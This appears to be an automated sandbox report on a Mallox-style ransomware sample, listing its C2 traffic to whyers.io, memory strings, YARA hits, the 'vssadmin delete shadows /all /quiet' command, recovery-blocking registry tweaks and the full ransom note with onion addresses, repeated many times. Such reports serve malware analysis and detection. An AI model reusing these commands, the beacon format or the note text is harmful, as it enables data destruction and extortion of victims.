Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: whyers.io

Source: unknown

HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: whyers.ioContent-Length: 163Cache-Control: no-cache

Source: malware.exe, 00000000.00000003.1698970841.0000000004A71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: malware.exe, 00000000.00000003.1684002879.0000000004A71000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1698970841.0000000004A71000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1679995597.0000000004A71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: malware.exe	String found in binary or memory: http://api.ipify.orgx32x64%s
Source: prcr.x3d.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: prcr.x3d.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: prcr.x3d.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: prcr.x3d.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/775961
Source: prcr.x3d.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: prcr.x3d.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: prcr.x3d.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: prcr.x3d.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: prcr.x3d.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: index.html.0.dr	String found in binary or memory: http://css3pie.com
Source: index.html.0.dr	String found in binary or memory: http://jquery.com/
Source: index.html.0.dr	String found in binary or memory: http://jquery.org/license
Source: prcr.x3d.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: prcr.x3d.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: prcr.x3d.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: prcr.x3d.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: index.html.0.dr	String found in binary or memory: http://sizzlejs.com/
Source: prcr.x3d.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: resources.pak0.0.dr	String found in binary or memory: https://accounts.google.com/
Source: resources.pak0.0.dr	String found in binary or memory: https://webstore.google.com/
Source: malware.exe, 00000000.00000003.1857834155.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2321452398.0000000004D56000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2303264795.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1925943676.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1796881992.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2252053063.0000000004D56000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2375208096.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1794658829.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2191393645.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1922502022.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2432004957.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1691543282.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1919160838.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1789533041.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2482024738.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1839868357.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1788942681.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2189324109.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2369982423.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500906615.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2185245833.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/
Source: malware.exe, 00000000.00000003.1796881992.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1794658829.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1789533041.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1788942681.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1807188084.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1801556961.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1784852079.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/)
Source: malware.exe, 00000000.00000003.1691543282.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/3
Source: malware.exe, 00000000.00000003.1771865574.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2041675211.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/QWEwqdsvsf/ap.php
Source: malware.exe	String found in binary or memory: https://whyers.io/QWEwqdsvsf/ap.phpContent-Type:
Source: malware.exe, 00000000.00000003.1887164409.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1868651794.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1977014914.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1855694509.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2037221890.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1987432788.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2022464109.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2005801076.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1980943375.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1960503217.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1873661843.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2002388849.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1846105138.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1902261303.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1846576841.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1962199418.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2019688647.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2013453165.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2042488475.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1994372794.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2005382194.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/QWEwqdsvsf/ap.phpQWEwqdsvsf/ap.php
Source: malware.exe, 00000000.00000003.1796881992.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1794658829.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1789533041.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1788942681.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1807188084.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1801556961.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1784852079.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/QWEwqdsvsf/ap.phpg
Source: malware.exe, 00000000.00000003.2041675211.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/QWEwqdsvsf/ap.phpnd
Source: malware.exe, 00000000.00000003.1729388605.0000000004D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/QWEwqdsvsf/ap.phps
Source: malware.exe, 00000000.00000003.2041675211.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/QWEwqdsvsf/ap.phpt
Source: malware.exe, 00000000.00000003.1763717846.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1769660512.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1754054435.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1756661483.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1759582601.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1742531721.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1762438430.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1747377941.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1729388605.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1770992838.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1771865574.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/QWEwqdsvsf/ap.phpy
Source: malware.exe, 00000000.00000003.1796881992.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1794658829.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1789533041.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1788942681.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1807188084.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1801556961.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1784852079.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://whyers.io/s
Source: malware.exe, FILE RECOVERY.txt421.0.dr, FILE RECOVERY.txt215.0.dr, FILE RECOVERY.txt529.0.dr, FILE RECOVERY.txt102.0.dr, FILE RECOVERY.txt183.0.dr, FILE RECOVERY.txt230.0.dr, FILE RECOVERY.txt348.0.dr, FILE RECOVERY.txt58.0.dr, FILE RECOVERY.txt349.0.dr, FILE RECOVERY.txt573.0.dr, FILE RECOVERY.txt342.0.dr, FILE RECOVERY.txt28.0.dr, FILE RECOVERY.txt446.0.dr, FILE RECOVERY.txt401.0.dr, FILE RECOVERY.txt97.0.dr, FILE RECOVERY.txt285.0.dr, FILE RECOVERY.txt324.0.dr, FILE RECOVERY.txt409.0.dr, FILE RECOVERY.txt571.0.dr, FILE RECOVERY.txt598.0.dr	String found in binary or memory: https://www.torproject.org/download/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown

HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: malware.exe, 00000000.00000003.2041675211.0000000004AA2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WCE47~1.AU3_WinAPI_RegisterRawInputDevices.au3

memstr_9d52b756-1

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\FILE RECOVERY.txt

Dropped file: HelloYour files are encrypted and can not be usedTo return your files in work condition you need decryption toolFollow the instructions to decrypt all your dataDo not try to change or restore files yourself, this will break themIf you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MBHow to get decryption tool:1) Download and install TOR browser by this link: https://www.torproject.org/download/2) If TOR blocked in your country and you can't access to the link then use any VPN software3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin4) Copy your private ID in the input field. Your Private key: D867AABCB6CF90E0977868505) You will see payment information and we can make free test decryption hereOur blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionIf you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgWaiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site.

Jump to dropped file

Yara detected RansomwareGeneric

Source: Yara match

File source: Process Memory Space: malware.exe PID: 6904, type: MEMORYSTR

Yara detected Targeted Ransomware

Source: Yara match

File source: Process Memory Space: malware.exe PID: 6904, type: MEMORYSTR

Yara detected TrojanRansom

Source: Yara match

File source: Process Memory Space: malware.exe PID: 6904, type: MEMORYSTR

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet	Jump to behavior
Source: malware.exe, 00000000.00000003.1647668209.0000000000DB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: malware.exe, 00000000.00000000.1642350702.0000000000799000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s\|%s\|%s\|%d/c ping 127.0.0.1 && del "%s" >> NULSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\*C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopenPowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector<T> too longstring too longmap/set<T> too longNtQuerySystemInformation\
Source: malware.exe, 00000000.00000003.2185527738.0000000000DB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: malware.exe, 00000000.00000003.1646737994.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\sysnative\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietC:\Windows\sysnative\vssadmin.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows
Source: vssadmin.exe, 00000002.00000002.1657138850.000001D292755000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\sysnative\vssadmin.exedeleteshadows/all/quieti#]V
Source: vssadmin.exe, 00000002.00000002.1656976373.000001D292620000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietC:\Windows\sysnative\vssadmin.exeWinsta0\DefaultZ
Source: vssadmin.exe, 00000002.00000002.1656976373.000001D292620000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: malware.exe	Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s\|%s\|%s\|%d/c ping 127.0.0.1 && del "%s" >> NULSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\*C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopenPowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector<T> too longstring too longmap/set<T> too longNtQuerySystemInformation\

May disable shadow drive data (uses vssadmin)

Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet			Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\$Recycle.Bin\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\$WinREAgent\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\Users\Public\Desktop\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\Users\Public\Music\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
